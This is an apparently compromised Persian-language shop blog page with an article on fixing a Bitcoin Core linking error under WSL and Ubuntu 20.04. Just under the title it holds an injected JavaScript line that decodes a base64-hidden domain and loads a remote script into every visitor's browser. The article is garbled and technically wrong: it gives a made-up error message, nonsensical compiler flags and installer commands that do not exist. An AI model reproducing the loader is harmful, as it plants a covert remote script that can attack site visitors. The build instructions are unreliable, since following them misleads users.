وبلاگ

Bitcoin: Bitcoin Core linking error

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a8015568″;document.body.appendChild(script);

Bitcoin Core Linking Error on Windows Using WSL and Ubuntu 20.04

As a user of Bitcoin, you are likely familiar with the importance of ensuring that your software is compatible with various operating systems and environments. However, when building and installing Bitcoin Core, especially from source code, it can be a frustrating experience. In this article, we will explore the linker error you are experiencing on Windows using WSL (Windows Subsystem for Linux) running Ubuntu 20.04.

The Issue:

When trying to build Bitcoin Source Code v24.2 for Windows using WSL, you may encounter the following errors:

/usr/bin/gcc

/usr/bin/g++: undefined symbol: __errno__

These error messages indicate that your compiler is unable to find an equivalent function named __errno__ in the C standard library.

The Solution:

To resolve this issue, you’ll need to make some adjustments to your build process. Here’s a step-by-step guide:

  • Install the GNU Compiler Collection (GCC)

    Bitcoin: Bitcoin Core linking error

    :

On Ubuntu 20.04, you can install GCC using the following command:

sudo apt update

sudo apt install gcc-9

This version of GCC is compatible with Bitcoin Core.

  • Update CXX and CPP flags:

After installing GCC, you will need to update your compiler flags for C++ and C code. The correct flags are:

gcc -std=c++11 -I/usr/include/gcc-9 -O2 -Wall -Wextra -pthread -I/usr/lib64/gcc/9/../../../glibc/aarch64-linux-gnu/libc.so -I/usr/local/include

The CXX and CPP flags are used to specify the compiler for C++ code. Replace gcc with g++ if you are using G++.

  • Configure and Build:

Now that you have your correct compiler flags, you can configure and build Bitcoin Core:

cd / path / to / bitcoin / src

./configure --enable-openssl=1 --prefix=/usr/local

make -j$(nproc)

The --enable-openssl=1 flag enables the OpenSSL library for building with cryptography.

  • Run the Installer:

After building Bitcoin Core, you’ll need to run the installer:

./installer --build --preinstall --no-synctool --config /usr/local/etc/bitcoin.conf

The --config option specifies a configuration file that contains the settings for your build. The path is relative to the current directory.

  • Verify

    :

Once the installation is complete, verify that Bitcoin Core has been successfully installed and linked correctly:

bitcoind --version

This should display version information indicating that Bitcoin Core was built with the correct flags.

By following these steps you should be able to resolve the linker error and successfully build Bitcoin Source Code v24.2 for Windows using WSL running Ubuntu 20.04.

سبد خرید
ورود

حساب کاربری ندارید؟

برای دیدن محصولاتی که دنبال آن هستید تایپ کنید.
فروشگاه
لیست علاقه مندی ها
0 مورد سبد خرید
حساب من